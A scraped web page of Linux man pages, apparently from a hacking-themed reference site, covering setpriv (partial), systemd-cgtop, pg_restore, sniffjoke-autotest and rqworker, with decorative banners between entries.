Set the real, effective, or both GIDs. The gid argument can be given as a textual group name.

For safety, you must specify one of –clear-groups, –groups, –keep-groups, or –init-groups if you set any primary gid.

–ruid uid, –euid uid, –reuid uid

Set the real, effective, or both UIDs. The uid argument can be given as a textual login name.

Setting a uid or gid does not change capabilities, although the exec call at the end might change capabilities. This means that, if you are root, you probably want to do something like:

setpriv –reuid=1000 –regid=1000 –inh-caps=-all

–securebits (+|-)securebit

Set or clear securebits. The argument is a comma-separated list. The valid securebits are noroot, noroot_locked, no_setuid_fixup, no_setuid_fixup_locked, and keep_caps_locked. keep_caps is cleared by execve(2) and is therefore not allowed.

–pdeathsig keep|clear|<signal>

Keep, clear or set the parent death signal. Some LSMs, most notably SELinux and AppArmor, clear the signal when the process credentials change. Using –pdeathsig keep will restore the parent death signal after changing credentials to remedy that situation.

–selinux-label label

Request a particular SELinux transition (using a transition on exec, not dyntrans). This will fail and cause setpriv to abort if SELinux is not in use, and the transition may be ignored or cause execve(2) to fail at SELinux’s whim. (In particular, this is unlikely to work in conjunction with no_new_privs.) This is similar to runcon(1).

–apparmor-profile profile

Request a particular AppArmor profile (using a transition on exec). This will fail and cause setpriv to abort if AppArmor is not in use, and the transition may be ignored or cause execve(2) to fail at AppArmor’s whim.

–landlock-access access

Enable landlock restrictions for a specific set of system accesses. To allow specific subgroups of accesses use –landlock-rule.

Block all filesystem access:

setpriv –landlock-access fs

Block all file deletions and directory creations:

setpriv –landlock-access fs:remove-file,make-dir

For a complete set of supported access categories use setpriv –help.

–landlock-rule rule

Allow one specific access from the categories blocked by –landlock-access.

The syntax is as follows:

–landlock-rule $ruletype:$access:$rulearg

For example grant file read access to everything under /boot:

–landlock-rule path-beneath:read-file:/boot

–reset-env

Clears all the environment variables except TERM; initializes the environment variables HOME, SHELL, USER, LOGNAME according to the user’s passwd entry; sets PATH to /usr/local/bin:/bin:/usr/bin for a regular user and to /usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin for root.

The environment variable PATH may be different on systems where /bin and /sbin are merged into /usr. The environment variable SHELL defaults to /bin/sh if none is given in the user’s passwd entry.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

NOTES

If applying any specified option fails, program will not be run and setpriv will return with exit status 127.

Be careful with this tool — it may have unexpected security consequences. For example, setting no_new_privs and then execing a program that is SELinux-confined (as this tool would do) may prevent the SELinux restrictions from taking effect.

EXAMPLES

If you’re looking for behavior similar to su(1)/runuser(1), or sudo(8) (without the -g option), try something like:

setpriv –reuid=1000 –regid=1000 –init-groups

If you want to mimic daemontools setuid(8), try:

setpriv –reuid=1000 –regid=1000 –clear-groups

AUTHORS

SEE ALSO

runuser(1), su(1), prctl(2), capabilities(7) landlock(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The setpriv command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

125 - Linux cli command systemd-cgtop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-cgtop and provides detailed information about the command systemd-cgtop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-cgtop.

NAME 🖥️ systemd-cgtop 🖥️

cgtop - Show top control groups by their resource usage

SYNOPSIS

systemd-cgtop [OPTIONS…] [GROUP]

DESCRIPTION

systemd-cgtop shows the top control groups of the local Linux control group hierarchy, ordered by their CPU, memory, or disk I/O load. The display is refreshed in regular intervals (by default every 1s), similar in style to top(1). If a control group path is specified, shows only the services of the specified control group.

If systemd-cgtop is not connected to a tty, no column headers are printed and the default is to only run one iteration. The –iterations= argument, if given, is honored. This mode is suitable for scripting.

Resource usage is only accounted for control groups with the appropriate controllers turned on: “cpu” controller for CPU usage, “memory” controller for memory usage, and “io” controller for disk I/O consumption. If resource monitoring for these resources is required, it is recommended to add the CPUAccounting=1, MemoryAccounting=1 and IOAccounting=1 settings in the unit files in question. See systemd.resource-control(5) for details.

The CPU load value can be between 0 and 100 times the number of processors the system has. For example, if the system has 8 processors, the CPU load value is going to be between 0% and 800%. The number of processors can be found in “/proc/cpuinfo”.

To emphasize: unless “CPUAccounting=1”, “MemoryAccounting=1”, and “IOAccounting=1” are enabled for the services in question, no resource accounting will be available for system services and the data shown by systemd-cgtop will be incomplete.

OPTIONS

The following options are understood:

-p, –order=path

Order by control group path name.

-t, –order=tasks

Order by number of tasks/processes in the control group.

-c, –order=cpu

Order by CPU load.

-m, –order=memory

Order by memory usage.

-i, –order=io

Order by disk I/O load.

-b, –batch

Run in “batch” mode: do not accept input and run until the iteration limit set with –iterations= is exhausted or until killed. This mode could be useful for sending output from systemd-cgtop to other programs or to a file.

Added in version 188.

-r, –raw

Format byte counts (as in memory usage and I/O metrics) and CPU time with raw numeric values rather than human-readable numbers.

Added in version 221.

–cpu=percentage, –cpu=time

Controls whether the CPU usage is shown as percentage or time. By default, the CPU usage is shown as percentage. This setting may also be toggled at runtime by pressing the % key.

Added in version 226.

-P

Count only userspace processes instead of all tasks. By default, all tasks are counted: each kernel thread and each userspace thread individually. With this setting, kernel threads are excluded from the count and each userspace process only counts as one task, regardless of how many threads it consists of. This setting may also be toggled at runtime by pressing the P key. This option may not be combined with -k.

Added in version 227.

-k

Count only userspace processes and kernel threads instead of all tasks. By default, all tasks are counted: each kernel thread and each userspace thread individually. With this setting, kernel threads are included in the count and each userspace process only counts as one task, regardless of how many threads it consists of. This setting may also be toggled at runtime by pressing the k key. This option may not be combined with -P.

Added in version 226.

–recursive=

Controls whether the number of processes shown for a control group shall include all processes that are contained in any of the child control groups as well. Takes a boolean argument, which defaults to “yes”. If enabled, the processes in child control groups are included, if disabled, only the processes in the control group itself are counted. This setting may also be toggled at runtime by pressing the r key. Note that this setting only applies to process counting, i.e. when the -P or -k options are used. It has not effect if all tasks are counted, in which case the counting is always recursive.

Added in version 226.

-n, –iterations=

Perform only this many iterations. A value of 0 indicates that the program should run indefinitely.

Added in version 188.

-1

A shortcut for –iterations=1.

Added in version 238.

-d, –delay=

Specify refresh delay in seconds (or if one of “ms”, “us”, “min” is specified as unit in this time unit). This setting may also be increased and decreased at runtime by pressing the + and - keys.

–depth=

Maximum control group tree traversal depth. Specifies how deep systemd-cgtop shall traverse the control group hierarchies. If 0 is specified, only the root group is monitored. For 1, only the first level of control groups is monitored, and so on. Defaults to 3.

-M MACHINE, **–machine=**MACHINE

Limit control groups shown to the part corresponding to the container MACHINE. This option may not be used when a control group path is specified.

Added in version 227.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

KEYS

systemd-cgtop is an interactive tool and may be controlled via user input using the following keys:

h

Shows a short help text.

Space

Immediately refresh output.

Added in version 226.

q

Terminate the program.

p, t, c, m, i

Sort the control groups by path, number of tasks, CPU load, memory usage, or I/O load, respectively. This setting may also be controlled using the –order= command line switch.

%

Toggle between showing CPU time as time or percentage. This setting may also be controlled using the –cpu= command line switch.

Added in version 201.

+, -

Increase or decrease refresh delay, respectively. This setting may also be controlled using the –delay= command line switch.

P

Toggle between counting all tasks, or only userspace processes. This setting may also be controlled using the -P command line switch (see above).

Added in version 227.

k

Toggle between counting all tasks, or only userspace processes and kernel threads. This setting may also be controlled using the -k command line switch (see above).

Added in version 226.

r

Toggle between recursively including or excluding processes in child control groups in control group process counts. This setting may also be controlled using the –recursive= command line switch. This key is not available if all tasks are counted, it is only available if processes are counted, as enabled with the P or k keys.

Added in version 226.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), systemctl(1), systemd-cgls(1), systemd.resource-control(5), top(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

126 - Linux cli command pg_restore

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_restore and provides detailed information about the command pg_restore, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_restore.

NAME 🖥️ pg_restore 🖥️

restore a PostgreSQL database from an archive file created by pg_dump

SYNOPSIS

pg_restore [connection-option…] [option…] [filename]

DESCRIPTION

pg_restore is a utility for restoring a PostgreSQL database from an archive created by pg_dump(1) in one of the non-plain-text formats. It will issue the commands necessary to reconstruct the database to the state it was in at the time it was saved. The archive files also allow pg_restore to be selective about what is restored, or even to reorder the items prior to being restored. The archive files are designed to be portable across architectures.

pg_restore can operate in two modes. If a database name is specified, pg_restore connects to that database and restores archive contents directly into the database. Otherwise, a script containing the SQL commands necessary to rebuild the database is created and written to a file or standard output. This script output is equivalent to the plain text output format of pg_dump. Some of the options controlling the output are therefore analogous to pg_dump options.

Obviously, pg_restore cannot restore information that is not present in the archive file. For instance, if the archive was made using the “dump data as INSERT commands” option, pg_restore will not be able to load the data using COPY statements.

OPTIONS

pg_restore accepts the following command line arguments.

filename

Specifies the location of the archive file (or directory, for a directory-format archive) to be restored. If not specified, the standard input is used.

-a
–data-only

Restore only the data, not the schema (data definitions). Table data, large objects, and sequence values are restored, if present in the archive.

This option is similar to, but for historical reasons not identical to, specifying –section=data.

-c
–clean

Before restoring database objects, issue commands to DROP all the objects that will be restored. This option is useful for overwriting an existing database. If any of the objects do not exist in the destination database, ignorable error messages will be reported, unless –if-exists is also specified.

-C
–create

Create the database before restoring into it. If –clean is also specified, drop and recreate the target database before connecting to it.

With –create, pg_restore also restores the databases comment if any, and any configuration variable settings that are specific to this database, that is, any ALTER DATABASE … SET … and ALTER ROLE … IN DATABASE … SET … commands that mention this database. Access privileges for the database itself are also restored, unless –no-acl is specified.

When this option is used, the database named with -d is used only to issue the initial DROP DATABASE and CREATE DATABASE commands. All data is restored into the database name that appears in the archive.

-d dbname
**–dbname=**dbname

Connect to database dbname and restore directly into the database. The dbname can be a connection string. If so, connection string parameters will override any conflicting command line options.

-e
–exit-on-error

Exit if an error is encountered while sending SQL commands to the database. The default is to continue and to display a count of errors at the end of the restoration.

-f filename
**–file=**filename

Specify output file for generated script, or for the listing when used with -l. Use - for stdout.

-F format
**–format=**format

Specify format of the archive. It is not necessary to specify the format, since pg_restore will determine the format automatically. If specified, it can be one of the following:

c
custom

The archive is in the custom format of pg_dump.

d
directory

The archive is a directory archive.

t
tar

The archive is a tar archive.

-I index
**–index=**index

Restore definition of named index only. Multiple indexes may be specified with multiple -I switches.

-j number-of-jobs
**–jobs=**number-of-jobs

Run the most time-consuming steps of pg_restore — those that load data, create indexes, or create constraints — concurrently, using up to number-of-jobs concurrent sessions. This option can dramatically reduce the time to restore a large database to a server running on a multiprocessor machine. This option is ignored when emitting a script rather than connecting directly to a database server.

Each job is one process or one thread, depending on the operating system, and uses a separate connection to the server.

The optimal value for this option depends on the hardware setup of the server, of the client, and of the network. Factors include the number of CPU cores and the disk setup. A good place to start is the number of CPU cores on the server, but values larger than that can also lead to faster restore times in many cases. Of course, values that are too high will lead to decreased performance because of thrashing.

Only the custom and directory archive formats are supported with this option. The input must be a regular file or directory (not, for example, a pipe or standard input). Also, multiple jobs cannot be used together with the option –single-transaction.

-l
–list

List the table of contents of the archive. The output of this operation can be used as input to the -L option. Note that if filtering switches such as -n or -t are used with -l, they will restrict the items listed.

-L list-file
**–use-list=**list-file

Restore only those archive elements that are listed in list-file, and restore them in the order they appear in the file. Note that if filtering switches such as -n or -t are used with -L, they will further restrict the items restored.

list-file is normally created by editing the output of a previous -l operation. Lines can be moved or removed, and can also be commented out by placing a semicolon (;) at the start of the line. See below for examples.

-n schema
**–schema=**schema

Restore only objects that are in the named schema. Multiple schemas may be specified with multiple -n switches. This can be combined with the -t option to restore just a specific table.

-N schema
**–exclude-schema=**schema

Do not restore objects that are in the named schema. Multiple schemas to be excluded may be specified with multiple -N switches.

When both -n and -N are given for the same schema name, the -N switch wins and the schema is excluded.

-O
–no-owner

Do not output commands to set ownership of objects to match the original database. By default, pg_restore issues ALTER OWNER or SET SESSION AUTHORIZATION statements to set ownership of created schema elements. These statements will fail unless the initial connection to the database is made by a superuser (or the same user that owns all of the objects in the script). With -O, any user name can be used for the initial connection, and this user will own all the created objects.

-P function-name(argtype [, …])
**–function=**function-name(argtype [, …])

Restore the named function only. Be careful to spell the function name and arguments exactly as they appear in the dump files table of contents. Multiple functions may be specified with multiple -P switches.

-R
–no-reconnect

This option is obsolete but still accepted for backwards compatibility.

-s
–schema-only

Restore only the schema (data definitions), not data, to the extent that schema entries are present in the archive.

This option is the inverse of –data-only. It is similar to, but for historical reasons not identical to, specifying –section=pre-data –section=post-data.

(Do not confuse this with the –schema option, which uses the word “schema” in a different meaning.)

-S username
**–superuser=**username

Specify the superuser user name to use when disabling triggers. This is relevant only if –disable-triggers is used.

-t table
**–table=**table

Restore definition and/or data of only the named table. For this purpose, “table” includes views, materialized views, sequences, and foreign tables. Multiple tables can be selected by writing multiple -t switches. This option can be combined with the -n option to specify table(s) in a particular schema.

Note

When -t is specified, pg_restore makes no attempt to restore any other database objects that the selected table(s) might depend upon. Therefore, there is no guarantee that a specific-table restore into a clean database will succeed.

Note

This flag does not behave identically to the -t flag of pg_dump. There is not currently any provision for wild-card matching in pg_restore, nor can you include a schema name within its -t. And, while pg_dumps -t flag will also dump subsidiary objects (such as indexes) of the selected table(s), pg_restores -t flag does not include such subsidiary objects.

Note

In versions prior to PostgreSQL 9.6, this flag matched only tables, not any other type of relation.

-T trigger
**–trigger=**trigger

Restore named trigger only. Multiple triggers may be specified with multiple -T switches.

-v
–verbose

Specifies verbose mode. This will cause pg_restore to output detailed object comments and start/stop times to the output file, and progress messages to standard error. Repeating the option causes additional debug-level messages to appear on standard error.

-V
–version

Print the pg_restore version and exit.

-x
–no-privileges
–no-acl

Prevent restoration of access privileges (grant/revoke commands).

-1
–single-transaction

Execute the restore as a single transaction (that is, wrap the emitted commands in BEGIN/COMMIT). This ensures that either all the commands complete successfully, or no changes are applied. This option implies –exit-on-error.

–disable-triggers

This option is relevant only when performing a data-only restore. It instructs pg_restore to execute commands to temporarily disable triggers on the target tables while the data is restored. Use this if you have referential integrity checks or other triggers on the tables that you do not want to invoke during data restore.

Presently, the commands emitted for –disable-triggers must be done as superuser. So you should also specify a superuser name with -S or, preferably, run pg_restore as a PostgreSQL superuser.

–enable-row-security

This option is relevant only when restoring the contents of a table which has row security. By default, pg_restore will set row_security to off, to ensure that all data is restored in to the table. If the user does not have sufficient privileges to bypass row security, then an error is thrown. This parameter instructs pg_restore to set row_security to on instead, allowing the user to attempt to restore the contents of the table with row security enabled. This might still fail if the user does not have the right to insert the rows from the dump into the table.

Note that this option currently also requires the dump be in INSERT format, as COPY FROM does not support row security.

–if-exists

Use DROP … IF EXISTS commands to drop objects in –clean mode. This suppresses “does not exist” errors that might otherwise be reported. This option is not valid unless –clean is also specified.

–no-comments

Do not output commands to restore comments, even if the archive contains them.

–no-data-for-failed-tables

By default, table data is restored even if the creation command for the table failed (e.g., because it already exists). With this option, data for such a table is skipped. This behavior is useful if the target database already contains the desired table contents. For example, auxiliary tables for PostgreSQL extensions such as PostGIS might already be loaded in the target database; specifying this option prevents duplicate or obsolete data from being loaded into them.

This option is effective only when restoring directly into a database, not when producing SQL script output.

–no-publications

Do not output commands to restore publications, even if the archive contains them.

–no-security-labels

Do not output commands to restore security labels, even if the archive contains them.

–no-subscriptions

Do not output commands to restore subscriptions, even if the archive contains them.

–no-table-access-method

Do not output commands to select table access methods. With this option, all objects will be created with whichever access method is the default during restore.

–no-tablespaces

Do not output commands to select tablespaces. With this option, all objects will be created in whichever tablespace is the default during restore.

**–section=**sectionname

Only restore the named section. The section name can be pre-data, data, or post-data. This option can be specified more than once to select multiple sections. The default is to restore all sections.

The data section contains actual table data as well as large-object definitions. Post-data items consist of definitions of indexes, triggers, rules and constraints other than validated check constraints. Pre-data items consist of all other data definition items.

–strict-names

Require that each schema (-n/–schema) and table (-t/–table) qualifier match at least one schema/table in the backup file.

–use-set-session-authorization

Output SQL-standard SET SESSION AUTHORIZATION commands instead of ALTER OWNER commands to determine object ownership. This makes the dump more standards-compatible, but depending on the history of the objects in the dump, might not restore properly.

-?
–help

Show help about pg_restore command line arguments, and exit.

pg_restore also accepts the following command line arguments for connection parameters:

-h host
**–host=**host

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix domain socket. The default is taken from the PGHOST environment variable, if set, else a Unix domain socket connection is attempted.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections. Defaults to the PGPORT environment variable, if set, or a compiled-in default.

-U username
**–username=**username

User name to connect as.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force pg_restore to prompt for a password before connecting to a database.

This option is never essential, since pg_restore will automatically prompt for a password if the server demands password authentication. However, pg_restore will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

**–role=**rolename

Specifies a role name to be used to perform the restore. This option causes pg_restore to issue a SET ROLE rolename command after connecting to the database. It is useful when the authenticated user (specified by -U) lacks privileges needed by pg_restore, but can switch to a role with the required rights. Some installations have a policy against logging in directly as a superuser, and use of this option allows restores to be performed without violating the policy.

ENVIRONMENT

PGHOST
PGOPTIONS
PGPORT
PGUSER

Default connection parameters

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

This utility, like most other PostgreSQL utilities, also uses the environment variables supported by libpq (see Section 34.15). However, it does not read PGDATABASE when a database name is not supplied.

DIAGNOSTICS

When a direct database connection is specified using the -d option, pg_restore internally executes SQL statements. If you have problems running pg_restore, make sure you are able to select information from the database using, for example, psql(1). Also, any default connection settings and environment variables used by the libpq front-end library will apply.

NOTES

If your installation has any local additions to the template1 database, be careful to load the output of pg_restore into a truly empty database; otherwise you are likely to get errors due to duplicate definitions of the added objects. To make an empty database without any local additions, copy from template0 not template1, for example:

CREATE DATABASE foo WITH TEMPLATE template0;

The limitations of pg_restore are detailed below.

·

When restoring data to a pre-existing table and the option –disable-triggers is used, pg_restore emits commands to disable triggers on user tables before inserting the data, then emits commands to re-enable them after the data has been inserted. If the restore is stopped in the middle, the system catalogs might be left in the wrong state.

·

pg_restore cannot restore large objects selectively; for instance, only those for a specific table. If an archive contains large objects, then all large objects will be restored, or none of them if they are excluded via -L, -t, or other options.

See also the pg_dump(1) documentation for details on limitations of pg_dump.

Once restored, it is wise to run ANALYZE on each restored table so the optimizer has useful statistics; see Section 25.1.3 and Section 25.1.6 for more information.

EXAMPLES

Assume we have dumped a database called mydb into a custom-format dump file:

$ pg_dump -Fc mydb > db.dump

To drop the database and recreate it from the dump:

$ dropdb mydb $ pg_restore -C -d postgres db.dump

The database named in the -d switch can be any database existing in the cluster; pg_restore only uses it to issue the CREATE DATABASE command for mydb. With -C, data is always restored into the database name that appears in the dump file.

To restore the dump into a new database called newdb:

$ createdb -T template0 newdb $ pg_restore -d newdb db.dump

Notice we dont use -C, and instead connect directly to the database to be restored into. Also note that we clone the new database from template0 not template1, to ensure it is initially empty.

To reorder database items, it is first necessary to dump the table of contents of the archive:

$ pg_restore -l db.dump > db.list

The listing file consists of a header and one line for each item, e.g.:

; ; Archive created at Mon Sep 14 13:55:39 2009 ; dbname: DBDEMOS ; TOC Entries: 81 ; Compression: 9 ; Dump Version: 1.10-0 ; Format: CUSTOM ; Integer: 4 bytes ; Offset: 8 bytes ; Dumped from database version: 8.3.5 ; Dumped by pg_dump version: 8.3.8 ; ; ; Selected TOC Entries: ; 3; 2615 2200 SCHEMA - public pasha 1861; 0 0 COMMENT - SCHEMA public pasha 1862; 0 0 ACL - public pasha 317; 1247 17715 TYPE public composite pasha 319; 1247 25899 DOMAIN public domain0 pasha

Semicolons start a comment, and the numbers at the start of lines refer to the internal archive ID assigned to each item.

Lines in the file can be commented out, deleted, and reordered. For example:

10; 145433 TABLE map_resolutions postgres ;2; 145344 TABLE species postgres ;4; 145359 TABLE nt_header postgres 6; 145402 TABLE species_records postgres ;8; 145416 TABLE ss_old postgres

could be used as input to pg_restore and would only restore items 10 and 6, in that order:

$ pg_restore -L db.list db.dump

SEE ALSO

pg_dump(1), pg_dumpall(1), psql(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

127 - Linux cli command sniffjoke-autotest

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sniffjoke-autotest and provides detailed information about the command sniffjoke-autotest, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sniffjoke-autotest.

NAME 🖥️ sniffjoke-autotest 🖥️

SYNOPSIS

sniffjoke-autotest [OPTION]…

DESCRIPTION

This script runs plugins test along different destinations OS to determinate the selection of plugins that correctly works in the current location.

it’s required a LOCATION name, eg: office, home, nickhome, starbucks…

sniffjoke-autotest will generate the best plugins_enabled.conf usable in this environment at the end of the tests (that include continuos restarting of sniffjoke with different options) will be created a new directory describing your location. after you will customize the options

sniffjoke-autotest verify every IP/TCP options implemented in sniffjoke, checking if your ISP filter them or not. Is generated iptcp-options.conf containing these information.

The options usefull when sniffjoke is started (by hand or by init script)

SNIFFJOKE-AUTOTEST OPTIONS

-h show a command line options resume

-l <location> accept a name for the currently profiling environment [required]

-n <number> set the number of test replicas [default: 1]

ERRORS, BUGS, ISSUE

Sometime sniffjoke-autotest simply exit with the message: Something in the network is not going well, and will not be a SniffJoke fault

I suggest to copy paste the previously executed sniffjoke command line, adding the option “–foreground” and see by hand which kind of exception is triggered.

DEPENDENCIES

pub 1024D/7D9E677D 2011-05-21 Key fingerprint = F37C 2042 5052 27E2 2FD7 D511 947F 574B 7D9E 677D uid SniffJoke project (http://www.delirandom.net/sniffjoke)

sniffjoke-autotest reports some URLs, message and info retrivered from delirandom.net, in order to authenticate these message, in a shell script, is downloaded the public key of the project, because the communications will be accepted only if verified by GnuPG signature. Inside sniffjoke-autotest is hardcoded the fingerprint.

AUTHOR

Claudio Agosti <[email protected]>, Giovanni Pellerano <[email protected]>

REPORTING BUGS

Report bugs to <[email protected]>.

COPYRIGHT

Copyright (GPL) 2008,2009,2010,2011 Claudio Agosti & Giovanni Pellerano.
This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

http://www.delirandom.net/sniffjoke

sniffjoke(1) sniffjoke-autotest(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

128 - Linux cli command rqworker

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rqworker and provides detailed information about the command rqworker, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rqworker.

NAME 🖥️ rqworker 🖥️

Command line monitor to start an RQ worker.

SYNOPSIS

rqworker [OPTIONS] [QUEUES]…

DESCRIPTION

rqworker is a command-line monitor to start an RQ worker. It is part of python-rq module package. A worker is a Python process that typically runs in the background and exists solely as a work horse to perform lengthy or blocking tasks that you don’t want to perform inside web processes.

OPTIONS

-b, –burst
Run in burst mode (quit after all work is done)

–logging_level TEXT
Set logging level

–log-format TEXT
Set the format of the logs

–date-format TEXT
Set the date format of the logs

-n, –name TEXT
Specify a different name

–results-ttl INTEGER
Default results timeout to be used

–worker-ttl INTEGER
Default worker timeout to be used

–maintenance-interval-ttl INTEGER
Maintenance task interval (in seconds) to be used

–job-monitoring-interval INTEGER
Default job monitoring interval to be used

–disable-job-desc-logging
Turn off description logging.

-v, –verbose
Show more output

-q, –quiet
Show less output

–sentry-ca-certs TEXT
Path to CRT file for Sentry DSN

–sentry-debug TEXT
Enable debug

–sentry-dsn TEXTR
Report exceptions to this Sentry DSN

–exception-handler TEXT
Exception handler(s) to use

–pid TEXT
Write the process ID number to a file at the specified path

-d, –disable-default-exception-handler
Disable RQ’s default exception handler

–max-jobs INTEGER
Maximum number of jobs to execute

–max-idle-time INTEGER
Maximum seconds to stay alive without jobs to execute

-s, –with-scheduler
Run worker with scheduler

-S, –serializer TEXT
Run worker with custom serializer

-ds, –dequeue-strategy TEXT
Sets a custom stratey to dequeue from multiple queues

-S, –serializer TEXT
Path to serializer, defaults to rq.serializers.DefaultSerializer

-P, –path TEXT
Specify the import path.

–connection-class TEXT
Redis client class to use

–queue-class TEXT
RQ Queue class to use

-j, –job-class TEXTRQ Job class to use
-w, –worker-class TEXT
RQ Worker class to use

-c, –config TEXT
Module containing RQ settings.

-u, –url TEXT
URL describing Redis connection details.

–help
Show help message and exit.

SEE ALSO

rq(1), rqinfo(1),
Full rq documentation

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

